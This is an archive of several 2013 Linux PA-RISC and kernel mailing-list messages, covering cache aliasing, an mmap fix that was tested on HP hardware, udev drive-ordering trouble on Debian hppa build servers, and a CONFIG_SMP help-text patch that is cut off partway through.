X-Trace: ger.gmane.org 1388175286 10453 80.91.229.3 (27 Dec 2013 20:14:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Dec 2013 20:14:46 +0000 (UTC)
Cc: Matthew Wilcox <willy@linux.intel.com>, linux-mm@kvack.org,
	"David S. Miller" <davem@davemloft.net>,
	sparclinux@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-mips@linux-mips.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 27 21:14:51 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vwdo3-0007R7-7p
	for glpp-linux-parisc@plane.gmane.org; Fri, 27 Dec 2013 21:14:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754722Ab3L0UOu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Dec 2013 15:14:50 -0500
Original-Received: from blu0-omc4-s36.blu0.hotmail.com ([65.55.111.175]:10799 "EHLO
	blu0-omc4-s36.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754702Ab3L0UOt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Dec 2013 15:14:49 -0500
Original-Received: from BLU0-SMTP67 ([65.55.111.137]) by blu0-omc4-s36.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 27 Dec 2013 12:14:49 -0800
X-TMN: [R0i1oIIuyxDHmPiSC02w4muDhh+R5Bxa]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.171.205]) by BLU0-SMTP67.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 27 Dec 2013 12:14:48 -0800
In-Reply-To: <BLU0-SMTP15241D603FEB77037F6D1E97CD0@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 27 Dec 2013 20:14:48.0195 (UTC) FILETIME=[4AA1ED30:01CF0340]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5571 gmane.linux.kernel.mm:111304 gmane.linux.ports.sparc:18561 gmane.linux.ports.mips.general:39952
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5571>

On 27-Dec-13, at 2:47 PM, John David Anglin wrote:

> It's worth looking at.  The value is supposed to be returned by the  
> PDC_CACHE PDC
> call but I know my rp3440 returns a value of 0 indicating that the  
> aliasing boundary
> is unknown and may be greater than 16MB.

c3750 data cache has an aliasing boundary of 4 MB, so I think we are  
stuck with large
SHMLBA.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sun, 29 Dec 2013 21:50:56 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <52C08B30.50309@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <201312191619.05005.vapier@gentoo.org> <BLU0-SMTP458FC9FB0E8F5D98CB7B8897C50@phx.gbl> <201312191802.39169.vapier@gentoo.org> <52B4C03B.2000805@gmx.de> <20131223202611.GA3570@blackmetal.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1388350255 14378 80.91.229.3 (29 Dec 2013 20:50:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Dec 2013 20:50:55 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>,
	John David Anglin <dave.anglin@bell.net>, carlos@redhat.com,
	linux-parisc@vger.kernel.org
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 29 21:51:00 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VxNK7-0000v5-Qv
	for glpp-linux-parisc@plane.gmane.org; Sun, 29 Dec 2013 21:51:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752469Ab3L2Uu7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Dec 2013 15:50:59 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:56303 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750967Ab3L2Uu6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Dec 2013 15:50:58 -0500
Original-Received: from [192.168.178.60] ([84.173.21.119]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MKcdH-1VzIjX3pLz-001xyy for
 <linux-parisc@vger.kernel.org>; Sun, 29 Dec 2013 21:50:57 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <20131223202611.GA3570@blackmetal.musicnaut.iki.fi>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:F7VkUci+dn8qJqbA/D19bj6ANKV321PBhOa6CWyjqAKzpOBKCW3
 METUHYoiakJIGVd7PElJXS8Cpj2lNGCQ9wWlrXuOMCNeZrauePI7W+rNZkrPrOOxVjXlMVz
 Kzk11zM+O4l4/zzmrvOo3KaN4qX4zBmwigu1GUrw1Wi+3zpqKVlvBHs7IRc6P1IiaBuSZ2g
 0/GjS6LAvo21JESveB3Rw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5572
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5572>

Hi Aaro,

On 12/23/2013 09:26 PM, Aaro Koskinen wrote:
> On Fri, Dec 20, 2013 at 11:10:03PM +0100, Helge Deller wrote:
>> You could try my current rewrite for the mmap functions which is in my "aio_mmap_fix" branch at
>> git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git
>> (http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/log/?h=aio_mmap_fix)
>> Pulling this branch on top of Linux head should work.
>> But I think it will not solve this problem.
> 
> FWIW, I pulled this branch (aaa88432c03b) on top of 3.13-rc5 and the
> system won't boot (HP C3700, 32-bit kernel). There's several stack trace
> dumps during the boot; if you're interested I might be able to setup a
> serial console to capture these.

Yes, the code hit a BUG_ON when running with 32bit kernel.
I just committed a trivial patch to the same tree, and now it works.

Helge 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sun, 29 Dec 2013 23:26:09 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <20131229212609.GD19462@blackmetal.musicnaut.iki.fi>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
 <201312191619.05005.vapier@gentoo.org>
 <BLU0-SMTP458FC9FB0E8F5D98CB7B8897C50@phx.gbl>
 <201312191802.39169.vapier@gentoo.org>
 <52B4C03B.2000805@gmx.de>
 <20131223202611.GA3570@blackmetal.musicnaut.iki.fi>
 <52C08B30.50309@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1388352382 3052 80.91.229.3 (29 Dec 2013 21:26:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Dec 2013 21:26:22 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>,
	John David Anglin <dave.anglin@bell.net>, carlos@redhat.com,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 29 22:26:23 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VxNsM-00065e-LI
	for glpp-linux-parisc@plane.gmane.org; Sun, 29 Dec 2013 22:26:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752701Ab3L2V0V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Dec 2013 16:26:21 -0500
Original-Received: from filtteri5.pp.htv.fi ([213.243.153.188]:47897 "EHLO
	filtteri5.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752700Ab3L2V0V (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Dec 2013 16:26:21 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri5.pp.htv.fi (Postfix) with ESMTP id 8F42C5A7586;
	Sun, 29 Dec 2013 23:26:18 +0200 (EET)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp4.welho.com ([213.243.153.38])
	by localhost (filtteri5.pp.htv.fi [213.243.153.188]) (amavisd-new, port 10024)
	with ESMTP id EIHkb8yLv5gm; Sun, 29 Dec 2013 23:26:13 +0200 (EET)
Original-Received: from musicnaut.iki.fi (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp4.welho.com (Postfix) with SMTP id C465D5BC010;
	Sun, 29 Dec 2013 23:26:13 +0200 (EET)
Original-Received: by musicnaut.iki.fi (sSMTP sendmail emulation); Sun, 29 Dec 2013 23:26:09 +0200
Content-Disposition: inline
In-Reply-To: <52C08B30.50309@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5573
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5573>

Hi,

On Sun, Dec 29, 2013 at 09:50:56PM +0100, Helge Deller wrote:
> On 12/23/2013 09:26 PM, Aaro Koskinen wrote:
> > On Fri, Dec 20, 2013 at 11:10:03PM +0100, Helge Deller wrote:
> >> You could try my current rewrite for the mmap functions which is in my "aio_mmap_fix" branch at
> >> git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git
> >> (http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/log/?h=aio_mmap_fix)
> >> Pulling this branch on top of Linux head should work.
> >> But I think it will not solve this problem.
> > 
> > FWIW, I pulled this branch (aaa88432c03b) on top of 3.13-rc5 and the
> > system won't boot (HP C3700, 32-bit kernel). There's several stack trace
> > dumps during the boot; if you're interested I might be able to setup a
> > serial console to capture these.
> 
> Yes, the code hit a BUG_ON when running with 32bit kernel.
> I just committed a trivial patch to the same tree, and now it works.

Yes, it works now, thanks. localedef still fails, but I guess that was
expected based on what you said:

mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0xd83ee000
mmap2(0xd8400000, 103860, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = -1 EINVAL (Invalid argument)

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Land <xmechanic@landcomp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Possibility that /dev is not being properly populated by udev?
Date: Mon, 30 Dec 2013 22:08:52 -0700
Lines: 106
Approved: news@gmane.org
Message-ID: <52C25164.9060206@landcomp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1388466530 19965 80.91.229.3 (31 Dec 2013 05:08:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 31 Dec 2013 05:08:50 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 31 06:08:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VxrZW-000442-W6
	for glpp-linux-parisc@plane.gmane.org; Tue, 31 Dec 2013 06:08:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751496Ab3LaFIy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 31 Dec 2013 00:08:54 -0500
Original-Received: from landcomp.net ([192.119.43.5]:13031 "HELO landcomp.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750811Ab3LaFIx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 31 Dec 2013 00:08:53 -0500
Original-Received: (qmail 6187 invoked by uid 453); 31 Dec 2013 05:08:52 -0000
Original-Received: from mac-pro.landcomp.net (HELO mac-pro.landcomp.net) (192.168.0.7)
  (smtp-auth username xmechanic@landcomp.net, mechanism plain)
  by landcomp.net (qpsmtpd/0.84) with (AES256-SHA encrypted) ESMTPSA; Mon, 30 Dec 2013 22:08:52 -0700
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
X-Virus-Checked: Checked by ClamAV on landcomp.net
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5575
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5575>

Hiya folks,

This is more of request for the collective minds to get together and 
discuss a possible fix, rather than a direct question. I own 2 of the 
machines that represent 3 of the current buildd servers for the hppa 
unstable port. Between Helge Deller, Dave Anglin, and myself, we're 
attempting to repopulate the repos at debian.ports with fresh packages, 
and for the most part it's been going pretty well. You can see our 
progress here: http://unstable.buildd.net/index-hppa.html Helge has 
developed a couple of experimental kernels to alleviate some of the 
buildd issues, etc. but we are still plagued with udev mis-interpreting 
device ID's when populating /dev.

As a result, it becomes a real issue when external drives or other 
devices are attached to the host. After our latest crash with 
rio.landcomp.net last night, (hardware related this time) assisted by a 
possible buildd error, I opened the machine up (RP2470 A500), and 
removed a failing Symbios SCSI card and replaced it with another. In the 
past, I've had several issues with this card detecting the external 
drive array (HP 2110), and usually I had to ID the drives in fdisk by 
LABEL in order for /etc/fstab to mount them in the proper locations.

Also there was the issue of the Symbios card repeatedly resetting the 
SCSI bus at startup to the point where fsck.ext3 would finally die with 
Signal 8, when it couldn't find the drives to check. When the card 
finally got around to detecting the drives, the OS was practically fully 
loaded and I would have to manually mount them. With the number of 
re-boots we have to do with hung kernels, unrecoverable buildd errors, 
etc. this turned in a real pain.

I then hooked the external drive array to the Ultra2 LVD/SE SCSI port on 
the 'rio' machine itself, and lo and behold, the internal SCSI BIOS 
found them immediately. Everything was fine until we determined that the 
drive order as listed in fdisk-l and blkid wasn't even close to being 
correct, even though the machine somehow booted from the correct primary 
partition on what would normally be /dev/sda3 since it was referred to 
by LABEL, as is, the drive with the /home partition, which would 
normally be /dev/sdb1. Instead they show up in fdisk-l and blkid as 
/dev/sde3 and /dev/sdd1. In reality, /dev/sdc,sdd,sde, and sdf are the 
four drives in the external array. I set them up with LABEL ID's also, 
except for the swap partitions which I have ID'd by UUID.

I've currently disconnected the externals on both rio.landcomp.net (the 
A500) and hpviz.landcomp.net (the J6750), as both were exhibiting the 
same behavior, regardless of which kernel we were using (the stock 
vmlinux-3.11-1-parisc64-smp or Helge's custom kernel with the buildd 
patches).

Here's the relevant info for the Visualize J6750 'hpviz' in it's current 
state:
Kernel Ver.: *3.11-2-parisc64-smp*
GCC Ver.: *gcc-4.8.2-10*
No remote management card
Access: SSH, local graphics console --> (thanks to Helge's parisc64-smp 
kernel patches, the FXe graphics card is now stable in STI console mode 
(color even!) on 64 bit SMP with >4GB of RAM)
CPU(s): 2x 875mhz. PA-8700
RAM: 7162 Mb.
PCI Devices: LSI Logic dual Port LVD/SE SCSI, HP FXe graphics card

...and the current relevant info for the RP2470 (A500) 'rio'

Kernel Ver.: *3.11-1-parisc64-smp*
GCC Ver.: *gcc-4.8.2-10*
Remote managemment: GSP built-in service processor
Access: GSP, serial line (ttyS0)
CPU(s): 2x 750 mhz. PA-8700
RAM: 8162 Mb.
PCI devices: LSI Logic single port LVD/SE SCSI

I'll include links to the text files for /var/log/syslog and /var/log/ 
messages for both machines (Beware, these are quite lengthy, especially 
since we were trying to setup postfix and all the related utilities on 
the rio, and there's still some glitches in the setup, but it might give 
you some idea of why udev isn't properly populating /dev and assorted 
other issues.)

You are welcome to email myself, Helge Deller, or Dave Anglin with your 
thoughts, and/or possible solutions! Thanks!

By the way, I'm mainly the grunt labor for keeping the actual machines 
up and running, so Dave A. and Helge Deller would be the likely 
candidates to understand all this and give an educated reply to possible 
solutions, but please do include me in the Cc's. I'm still trying to 
absorb all the info I can. :-)

Dave L.

Owner and maintenance tech at Land Computer Service

Links: http://www.landcomp.net:884/images/hpviz-var-log-syslog.txt
        http://www.landcomp.net:884/images/hpviz-var-log-messages.txt
        http://www.landcomp.net:884/images/rio-var-log-syslog.txt
        http://www.landcomp.net:884/images/rio-var-log-messages.txt

-- 
Dave Land
Land Computer Service  xmechanic@landcomp.net
ICQ: 676030523


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Graffham <psquid@psquid.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [PATCH] Slightly outdated CONFIG_SMP documentation fix
Date: Tue, 31 Dec 2013 22:59:22 +0000
Lines: 163
Approved: news@gmane.org
Message-ID: <20131231225921.GA1624@sylph>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1388530794 30518 80.91.229.3 (31 Dec 2013 22:59:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 31 Dec 2013 22:59:54 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@arm.linux.org.uk>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        linux390@de.ibm.com, Paul Mundt <lethal@linux-sh.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Al Viro <viro@zeniv.linux.org.uk>,
        Andrew Morton <akpm
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Tue Dec 31 23:59:56 2013
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Vy8Hz-00054e-Lo
	for sgi-linux-mips@gmane.org; Tue, 31 Dec 2013 23:59:55 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:56962 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6825694Ab3LaW7xlTF3E (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 31 Dec 2013 23:59:53 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 31 Dec 2013 23:59:38 +0100 (CET)
Original-Received: from mail-we0-f174.google.com ([74.125.82.174]:34724 "EHLO
        mail-we0-f174.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S6822668Ab3LaW7fK4y90 (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Tue, 31 Dec 2013 23:59:35 +0100
Original-Received: by mail-we0-f174.google.com with SMTP id q58so11284005wes.19
        for <linux-mips@linux-mips.org>; Tue, 31 Dec 2013 14:59:29 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-type:content-disposition:user-agent;
        bh=KuzGcwZDhnKsPn7GMqzE3G15qaz2fAD7pTHvDURn3ms=;
        b=KSEnuc3JNV0nxFUnaPDR+cuoBIYbH13X7ljq70gQdoF1tOE3LPHAWwI+PfZZXWkTaN
         tobUzovK6SjZozfMINej9Of1ECeUzKka2H/O3Cn2CRrpYIlzRBBjBTP8HY/DqbjsWWqR
         KIh61CBZsCyq3M5CpTEO8DDQ2YmK3yPCn/yS7e5XbeAzA8rUQgx5cpX0pGY6KvmoCxSa
         FcLSZrTVlZkHJxB2Py6VIR3xST5lF0BXIA2edJaD1I2Lm+wITXp21DpYK987yn/JnaMq
         uYFfip+Jl96YXGYNLeWAmAV2nNWHEMwF6vEaW1u1MpFhjeDEZDRN77ik2CTM/2bZ0n4L
         QJtA==
X-Gm-Message-State: ALoCoQmKoAfqd6m/L5/Nad3ys9b4Pb1Iod4ejAL3S4w0/+tg/rLQ2KLtgNtnNiU+kT27QXz060tL
X-Received: by 10.180.91.11 with SMTP id ca11mr49359452wib.39.1388530769436;
        Tue, 31 Dec 2013 14:59:29 -0800 (PST)
Original-Received: from sylph (94.197.121.8.threembb.co.uk. [94.197.121.8])
        by mx.google.com with ESMTPSA id bc5sm74618956wib.4.2013.12.31.14.59.25
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 31 Dec 2013 14:59:28 -0800 (PST)
Content-Disposition: inline
User-Agent: Mutt/1.5.22 (2013-10-16)
X-archive-position: 38825
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: psquid@psquid.net
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:39965 gmane.linux.kernel:1621674 gmane.linux.ports.alpha:2200 gmane.linux.ports.arm.kernel:291219 gmane.linux.ports.parisc:5576 gmane.linux.ports.sh.devel:30733
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/39965>

I've removed a reference to "most personal computers" being singleprocessor
machines in multiple arches' config help, and also brought the arch/arm spacing
for "singleprocessor" (vs. "single processor" used there originally) in line
with other arches that had that text.

The diff is included below, and cleanly applies and builds on my system. I have
not tested on other systems yet since a documentation fix shouldn't fail to
build inconsistently, but if that's no excuse, I'll be happy to test further
when I can.


diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/alpha/Kconfig linux/arch/alpha/Kconfig
--- linux-vanilla/arch/alpha/Kconfig	2013-12-22 18:03:11.881499508 +0000
+++ linux/arch/alpha/Kconfig	2013-12-22 17:58:31.448505765 +0000
@@ -539,8 +539,8 @@ config SMP
 	depends on ALPHA_SABLE || ALPHA_LYNX || ALPHA_RAWHIDE || ALPHA_DP264 || ALPHA_WILDFIRE || ALPHA_TITAN || ALPHA_GENERIC || ALPHA_SHARK || ALPHA_MARVEL
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/arc/Kconfig linux/arch/arc/Kconfig
--- linux-vanilla/arch/arc/Kconfig	2013-12-22 18:03:11.933499507 +0000
+++ linux/arch/arc/Kconfig	2013-12-22 17:58:24.412505922 +0000
@@ -128,8 +128,8 @@ config SMP
 	default n
 	help
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 if SMP
 
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/arm/Kconfig linux/arch/arm/Kconfig
--- linux-vanilla/arch/arm/Kconfig	2013-12-22 18:03:11.956499506 +0000
+++ linux/arch/arm/Kconfig	2013-12-22 17:56:31.187508449 +0000
@@ -1435,14 +1435,14 @@ config SMP
 	depends on MMU || ARM_MPU
 	help
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
-	  you say Y here, the kernel will run on many, but not all, single
-	  processor machines. On a single processor machine, the kernel will
-	  run faster if you say N here.
+	  you say Y here, the kernel will run on many, but not all,
+	  singleprocessor machines. On a singleprocessor machine, the kernel
+	  will run faster if you say N here.
 
 	  See also <file:Documentation/x86/i386/IO-APIC.txt>,
 	  <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO available at
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/m32r/Kconfig linux/arch/m32r/Kconfig
--- linux-vanilla/arch/m32r/Kconfig	2013-12-22 18:03:13.100499481 +0000
+++ linux/arch/m32r/Kconfig	2013-12-22 17:58:27.485505854 +0000
@@ -277,8 +277,8 @@ config SMP
 	bool "Symmetric multi-processing support"
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/mips/Kconfig linux/arch/mips/Kconfig
--- linux-vanilla/arch/mips/Kconfig	2013-12-22 18:03:13.290499477 +0000
+++ linux/arch/mips/Kconfig	2013-12-22 17:58:28.576505829 +0000
@@ -2128,8 +2128,8 @@ config SMP
 	depends on SYS_SUPPORTS_SMP
 	help
